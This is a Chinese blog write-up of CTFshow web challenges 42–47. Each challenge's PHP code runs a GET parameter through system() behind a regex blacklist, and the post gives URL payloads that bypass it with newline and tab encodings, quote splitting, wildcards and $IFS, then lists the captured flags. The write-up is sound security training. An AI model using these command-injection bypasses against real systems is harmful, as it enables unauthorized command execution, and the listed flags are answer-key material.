CTFshow web42 43 44 45 46 47

16 篇文章 0 订阅
10 篇文章 2 订阅

web42

代码分析:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");

>/dev/null 2>&1;这里是重定向

直接截断即可

截断方法 ; , && , %0a,||等等,有很多截断方法

payload:

?c=ls;

?c=ls%0a

?c=tac flag.php;

flag:

 ctfshow{51f460e3-9382-4c18-bdcf-a95fc3421833}

web43 

代码分析:

 if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }

过滤了分号,直接用%0a就可

payload:

/?c=tac flag.php%0a

flag:

ctfshow{2d27f06d-bd87-4e70-ae21-31e67575b980}

web44

代码分析:

if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一个flag,无伤大雅,直接引号绕过或者通配符绕过

payload:

/?c=tac fl*%0a

/?c=tac fl""ag.php%0a

 flag:

ctfshow{2ddcefb8-0b23-4ec0-8426-b85d36191bd4}

web45 

代码分析:

 if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一个空格,无伤大雅,$IFS$1绕过 %09绕过都行

payload:

/?c=tac%09fl*%0a

/?c=tac$IFS$1fl""ag.php%0a

flag:

ctfshow{4723d047-0424-4d94-965d-4eaf37775991}

web46

代码分析:

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了数字和$ * $IFS$1 和通配符用不了了

知识点:%09 %0a 不算数字是url编码,我一开始也是懵逼的

payload:

/?c=tac%09fl""ag.php%0a

 

flag:

ctfshow{f6210dde-d15e-43d8-9dfa-b5e133afc3c8} 

web47 

代码分析:

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }

过滤了几个前面没用过的函数,看来还有很多其他的解法哇,恰好咱的解法可以一直用

payload:

/?c=tac%09fl""ag.php%0a

 

flag:

ctfshow{13c4c6b0-2118-44bb-9c85-fabde174b2bd}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值